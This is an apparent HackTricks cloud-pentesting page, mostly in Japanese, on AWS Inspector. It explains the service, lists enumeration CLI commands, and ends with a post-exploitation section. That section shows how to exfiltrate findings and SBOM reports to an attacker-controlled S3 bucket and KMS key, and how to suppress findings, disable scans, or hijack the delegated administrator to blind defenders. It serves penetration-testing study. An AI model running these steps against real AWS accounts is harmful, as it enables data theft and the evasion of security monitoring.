AWS - Inspector Enum

AWS - Inspector Enum

HackTricksをサポートする

Inspector

Amazon Inspectorは、AWS環境のセキュリティを強化するために設計された高度な自動脆弱性管理サービスです。このサービスは、Amazon EC2インスタンス、Amazon ECRのコンテナイメージ、Amazon ECS、およびAWS Lambda関数を脆弱性や意図しないネットワーク露出のために継続的にスキャンします。堅牢な脆弱性インテリジェンスデータベースを活用することで、Amazon Inspectorは、深刻度レベルや修正推奨を含む詳細な結果を提供し、組織がセキュリティリスクを積極的に特定し対処するのを支援します。この包括的なアプローチは、さまざまなAWSサービス全体で強化されたセキュリティ姿勢を確保し、コンプライアンスとリスク管理を支援します。

Key elements

Findings

Amazon InspectorのFindingsは、EC2インスタンス、ECRリポジトリ、またはLambda関数のスキャン中に発見された脆弱性や露出に関する詳細なレポートです。状態に基づいて、Findingsは次のように分類されます:

  • Active: Findingは修正されていません。

  • Closed: Findingは修正されました。

  • Suppressed: Findingは1つ以上のsuppression rulesによりこの状態にマークされています。

Findingsは次の3つのタイプにも分類されます:

  • Package: これらのFindingsは、リソースにインストールされたソフトウェアパッケージの脆弱性に関連しています。例としては、古いライブラリや既知のセキュリティ問題を持つ依存関係が含まれます。

  • Code: このカテゴリには、AWSリソース上で実行されているアプリケーションのコードに見つかった脆弱性が含まれます。一般的な問題は、セキュリティ侵害を引き起こす可能性のあるコーディングエラーや不安全なプラクティスです。

  • Network: ネットワークFindingsは、攻撃者によって悪用される可能性のあるネットワーク構成の潜在的な露出を特定します。これには、オープンポート、不安全なネットワークプロトコル、および誤設定されたセキュリティグループが含まれます。

Filters and Suppression Rules

Amazon Inspectorのフィルターと抑制ルールは、Findingsの管理と優先順位付けを支援します。フィルターを使用すると、深刻度やリソースタイプなどの特定の基準に基づいてFindingsを絞り込むことができます。抑制ルールを使用すると、低リスクと見なされる、すでに軽減された、またはその他の重要な理由により抑制されるべき特定のFindingsを抑制し、セキュリティレポートの過負荷を防ぎ、より重要な問題に集中できるようにします。

Software Bill of Materials (SBOM)

Amazon Inspectorのソフトウェア部品表(SBOM)は、ライブラリや依存関係を含むソフトウェアパッケージ内のすべてのコンポーネントの詳細なエクスポータブルネストされたインベントリリストです。SBOMは、ソフトウェアサプライチェーンの透明性を提供し、より良い脆弱性管理とコンプライアンスを可能にします。オープンソースおよびサードパーティのソフトウェアコンポーネントに関連するリスクを特定し軽減するために重要です。

Key features

Export findings

Amazon Inspectorは、Amazon S3バケット、Amazon EventBridge、およびAWS Security HubにFindingsをエクスポートする機能を提供し、特定の日付と時刻に識別された脆弱性や露出の詳細なレポートを生成できます。この機能は、CSVやJSONなどのさまざまな出力形式をサポートしており、他のツールやシステムとの統合を容易にします。エクスポート機能は、レポートに含まれるデータのカスタマイズを可能にし、深刻度、リソースタイプ、または日付範囲などの特定の基準に基づいてFindingsをフィルタリングし、デフォルトで現在のAWSリージョン内のすべてのActiveステータスのFindingsを含めます。

Findingsをエクスポートする際には、データをエクスポート中に暗号化するためにKey Management Service(KMS)キーが必要です。KMSキーは、エクスポートされたFindingsが不正アクセスから保護されることを保証し、機密の脆弱性情報に対する追加のセキュリティ層を提供します。

Amazon EC2 instances scanning

Amazon Inspectorは、Amazon EC2インスタンスの脆弱性やセキュリティ問題を検出するための強力なスキャン機能を提供します。Inspectorは、EC2インスタンスから抽出されたメタデータをセキュリティアドバイザリーのルールと比較して、パッケージの脆弱性やネットワーク到達性の問題を生成します。これらのスキャンは、アカウントのスキャンモード設定に応じて、エージェントベースまたはエージェントレスの方法で実行できます。

  • Agent-Based: AWS Systems Manager(SSM)エージェントを利用して、詳細なスキャンを実施します。この方法では、インスタンスから直接データを収集し、分析します。

  • Agentless: インスタンスにエージェントをインストールする必要がない軽量な代替手段を提供し、EC2インスタンスの各ボリュームのEBSスナップショットを作成し、脆弱性を探し、その後削除します。既存のAWSインフラストラクチャを利用してスキャンを行います。

スキャンモードは、EC2スキャンを実行するために使用される方法を決定します:

  • Agent-Based: EC2インスタンスにSSMエージェントをインストールして深い検査を行います。

  • Hybrid Scanning: エージェントベースとエージェントレスの両方の方法を組み合わせて、カバレッジを最大化し、パフォーマンスへの影響を最小限に抑えます。SSMエージェントがインストールされているEC2インスタンスでは、Inspectorはエージェントベースのスキャンを実行し、SSMエージェントがない場合はエージェントレスのスキャンを実行します。

もう1つの重要な機能は、EC2 Linuxインスタンスの深い検査です。この機能は、EC2 Linuxインスタンスのソフトウェアと構成の徹底的な分析を提供し、オペレーティングシステムの脆弱性、アプリケーションの脆弱性、誤設定を含む詳細な脆弱性評価を提供し、包括的なセキュリティ評価を確保します。これは、カスタムパスとそのすべてのサブディレクトリの検査を通じて実現されます。デフォルトでは、Amazon Inspectorは以下をスキャンしますが、各メンバーアカウントは最大5つのカスタムパスを定義でき、各委任管理者は最大10個を定義できます:

  • /usr/lib

  • /usr/lib64

  • /usr/local/lib

  • /usr/local/lib64

Amazon ECR container images scanning

Amazon Inspectorは、Amazon Elastic Container Registry(ECR)コンテナイメージのための強力なスキャン機能を提供し、パッケージの脆弱性が効率的に検出および管理されることを保証します。

  • Basic Scanning: これは、オープンソースのClairプロジェクトからの標準的なルールセットを使用して、コンテナイメージ内の既知のOSパッケージの脆弱性を特定する迅速で軽量なスキャンです。このスキャン設定では、リポジトリはプッシュ時にスキャンされるか、手動スキャンが実行されます。

  • Enhanced Scanning: このオプションは、プッシュスキャンに加えて継続的スキャン機能を追加します。Enhanced Scanningは、各コンテナイメージの層をより深く掘り下げて、OSパッケージやプログラミング言語パッケージの脆弱性をより高い精度で特定します。ベースイメージと追加の層の両方を分析し、潜在的なセキュリティ問題の包括的なビューを提供します。

Amazon Lambda functions scanning

Amazon Inspectorは、AWS Lambda関数とそのレイヤーのための包括的なスキャン機能を含み、サーバーレスアプリケーションのセキュリティと整合性を確保します。Inspectorは、Lambda関数のために2種類のスキャンを提供します:

  • Lambda standard scanning: このデフォルト機能は、Lambda関数とレイヤーに追加されたアプリケーションパッケージの依存関係におけるソフトウェアの脆弱性を特定します。たとえば、関数が既知の脆弱性を持つライブラリのバージョン(例:python-jwt)を使用している場合、Findingが生成されます。

  • Lambda code scanning: カスタムアプリケーションコードのセキュリティ問題を分析し、インジェクションの欠陥、データ漏洩、弱い暗号化、暗号化の欠如などの脆弱性を検出します。検出された脆弱性を強調するコードスニペットをキャプチャします。Findingsには、問題を修正するための詳細な修正提案とコードスニペットが含まれます。

Center for Internet Security (CIS) scans

Amazon Inspectorは、Amazon EC2インスタンスのオペレーティングシステムをCenter for Internet Security(CIS)からのベストプラクティス推奨に対してベンチマークするCISスキャンを含みます。これらのスキャンは、構成が業界標準のセキュリティベースラインに準拠していることを保証します。

  • Configuration: CISスキャンは、システム構成が特定のCISベンチマーク推奨に合致しているかどうかを評価し、各チェックはCISチェックIDおよびタイトルにリンクされています。

  • Execution: スキャンは、インスタンスタグおよび定義されたスケジュールに基づいて実行またはスケジュールされます。

  • Results: スキャン後の結果は、どのチェックが合格、スキップ、または失敗したかを示し、各インスタンスのセキュリティ姿勢に関する洞察を提供します。

Enumeration

# Administrator and member accounts #

## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
aws inspector2 get-delegated-admin-account

## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
aws inspector2 list-members [--only-associated | --no-only-associated]
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
aws inspector2 get-member --account-id <value>
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-account-status [--account-ids <value>]
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-free-trial-info --account-ids <value>
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]

## List an account's permissions associated with AWS Inspector
aws inspector2 list-account-permissions

# Findings #

## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
aws inspector2 list-findings
## Retrieve vulnerability intelligence details for the specified findings
aws inspector2 batch-get-finding-details --finding-arns <value>
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
## Retrieve code snippet information about one or more specified code vulnerability findings
aws inspector2 batch-get-code-snippet --finding-arns <value>
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
aws inspector2 get-findings-report-status --report-id <value>

# CIS #

## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scan-configurations
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scans
## Retrieve a report from a completed CIS scan
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
## Retrieve details about the specific CIS scan over the specified resource
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
## List CIS scan results broken down by check
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
## List CIS scan results broken down by target resource
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>

# Configuration #

## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
aws inspector2 describe-organization-configuration
## Retrieve the configuration settings about EC2 scan and ECR re-scan
aws inspector2 get-configuration
## Retrieve EC2 Deep Inspection configuration associated with your account
aws inspector2 get-ec2-deep-inspection-configuration

# Miscellaneous #

## Retrieve the details of a Software Bill of Materials (SBOM) report
aws inspector2 get-sbom-export --report-id <value>

## Retrieve the coverage details for the specified vulnerabilities
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>

## Retrieve the tags attached to the specified resource
aws inspector2 list-tags-for-resource --resource-arn <value>

## Retrieve the AWS KMS key used to encrypt the specified code snippets
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>

## List the filters associated to your AWS account
aws inspector2 list-filters

## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage-statistics

## List the aggregated usage total over the last 30 days
aws inspector2 list-usage-totals [--account-ids <value>]

### INSPECTOR CLASSIC ###

## Assessments info, there is a "describe" action for each one to get more info
aws inspector list-assessment-runs
aws inspector list-assessment-targets
aws inspector list-assessment-templates
aws inspector list-event-subscriptions

## Get findings
aws inspector list-findings

## Get exclusions
aws inspector list-exclusions --assessment-run-arn <arn>

## Rule packages
aws inspector list-rules-packages

Post Exploitation

攻撃者の視点から見ると、このサービスは攻撃者が他のインスタンス/コンテナを侵害するのに役立つ脆弱性やネットワークの露出を見つけるのに役立ちます。

しかし、攻撃者はこのサービスを妨害して、被害者が脆弱性(すべてまたは特定のもの)を確認できないようにすることにも関心があるかもしれません。

inspector2:CreateFindingsReport, inspector2:CreateSBOMReport

攻撃者は脆弱性やソフトウェアの材料表(SBOM)の詳細なレポートを生成し、それをあなたのAWS環境から抽出することができます。この情報は、特定の弱点、古いソフトウェア、または安全でない依存関係を特定するために悪用され、標的攻撃を可能にします。

# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]
  1. Amazon S3 バケットを作成し、被害者の Amazon Inspector からアクセスできるようにポリシーを添付します:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allow-inspector",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"s3:PutObject",
"s3:PutObjectAcl",
"s3:AbortMultipartUpload"
],
"Resource": "arn:aws:s3:::inspector-findings/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
}
}
}
]
}
  1. Amazon KMSキーを作成し、被害者のAmazon Inspectorで使用できるようにポリシーをアタッチします:

{
"Version": "2012-10-17",
"Id": "key-policy",
"Statement": [
{
...
},
{
"Sid": "Allow victim Amazon Inspector to use the key",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
}
}
}
]
}
  1. 調査結果レポートを作成する コマンドを実行し、それを外部に抽出します:

aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
  • 潜在的な影響: 詳細な脆弱性およびソフトウェアレポートの生成と外部流出、特定の脆弱性やセキュリティの弱点に関する洞察を得ること。

inspector2:CancelFindingsReport, inspector2:CancelSbomExport

攻撃者は、指定された脆弱性レポートまたはSBOMレポートの生成をキャンセルし、セキュリティチームが脆弱性やソフトウェア部品表(SBOM)に関するタイムリーな情報を受け取るのを妨げ、セキュリティ問題の検出と修正を遅らせる可能性があります。

# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
  • 潜在的影響: セキュリティ監視の中断と、セキュリティ問題の迅速な検出と修正の妨害。

inspector2:CreateFilter, inspector2:UpdateFilter, inspector2:DeleteFilter

これらの権限を持つ攻撃者は、どの脆弱性やセキュリティ問題が報告または抑制されるかを決定するフィルタリングルールを操作することができます(actionがSUPPRESSに設定されている場合、抑制ルールが作成されます)。これにより、セキュリティ管理者から重要な脆弱性が隠され、検出されずにこれらの弱点を悪用しやすくなります。重要なフィルタを変更または削除することで、攻撃者は無関係な発見でシステムを洪水のように inundate し、効果的なセキュリティ監視と対応を妨げることもできます。

# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
# Update
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
# Delete
aws inspector2 delete-filter --arn <value>
  • 潜在的な影響: 重要な脆弱性の隠蔽または抑制、または無関係な発見でシステムを洪水させること。

inspector2:DisableDelegatedAdminAccount, (inspector2:EnableDelegatedAdminAccount & organizations:ListDelegatedAdministrators & organizations:EnableAWSServiceAccess & iam:CreateServiceLinkedRole)

攻撃者はセキュリティ管理構造を大幅に混乱させる可能性があります。

  • 委任された管理者アカウントを無効にすることで、攻撃者はセキュリティチームがAmazon Inspectorの設定やレポートにアクセスし管理するのを妨げることができます。

  • 無許可の管理者アカウントを有効にすることで、攻撃者はセキュリティ設定を制御し、スキャンを無効にしたり、悪意のある活動を隠すために設定を変更したりする可能性があります。

無許可のアカウントが委任された管理者になるためには、被害者と同じ組織に所属している必要があります。

無許可のアカウントが委任された管理者になるためには、正当な委任された管理者が無効にされた後、無許可のアカウントが委任された管理者として有効にされる前に、正当な管理者が組織から委任された管理者として登録解除される必要があります。これは次のコマンドで実行できます(organizations:DeregisterDelegatedAdministrator 権限が必要): aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)

# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
# Enable
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
  • 潜在的な影響: セキュリティ管理の中断。

inspector2:AssociateMember, inspector2:DisassociateMember

攻撃者は、Amazon Inspector 組織内のメンバーアカウントの関連付けを操作する可能性があります。無許可のアカウントを関連付けたり、正当なアカウントを関連付け解除したりすることで、攻撃者はどのアカウントがセキュリティスキャンや報告に含まれるかを制御できます。これにより、重要なアカウントがセキュリティ監視から除外され、攻撃者がそれらのアカウントの脆弱性を検出されずに悪用できる可能性があります。

このアクションは、委任された管理者によって実行される必要があります。

# Associate
aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
  • 潜在的影響: セキュリティスキャンからの重要なアカウントの除外により、脆弱性の未検出の悪用を可能にします。

inspector2:Disable, (inspector2:Enable & iam:CreateServiceLinkedRole)

inspector2:Disable 権限を持つ攻撃者は、指定されたアカウントに対して特定のリソースタイプ(EC2、ECR、Lambda、Lambdaコード)のセキュリティスキャンを無効にすることができ、AWS環境の一部が監視されず、攻撃に対して脆弱になります。さらに、inspector2:Enable および iam:CreateServiceLinkedRole 権限を持つ攻撃者は、疑わしい構成の検出を避けるために、スキャンを選択的に再有効化することができます。

このアクションは、委任された管理者によって実行される必要があります。

# Disable
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
  • 潜在的な影響: セキュリティ監視における盲点の作成。

inspector2:UpdateOrganizationConfiguration

この権限を持つ攻撃者は、あなたのAmazon Inspector組織の設定を更新でき、新しいメンバーアカウントに対して有効なデフォルトのスキャン機能に影響を与えます。

このアクションは、委任された管理者によって実行される必要があります。

aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
  • 潜在的な影響: 組織のセキュリティスキャンポリシーと設定を変更する。

inspector2:TagResource, inspector2:UntagResource

攻撃者は、AWS Inspectorリソースのタグを操作する可能性があります。これらのタグは、セキュリティ評価の整理、追跡、自動化にとって重要です。タグを変更または削除することで、攻撃者はセキュリティスキャンから脆弱性を隠し、コンプライアンス報告を妨害し、自動修復プロセスに干渉する可能性があり、結果として未チェックのセキュリティ問題やシステムの整合性の侵害を引き起こす可能性があります。

aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
  • 潜在的影響: 脆弱性の隠蔽、コンプライアンス報告の中断、セキュリティ自動化の中断、コスト配分の中断。

参考文献

HackTricksをサポートする

Last updated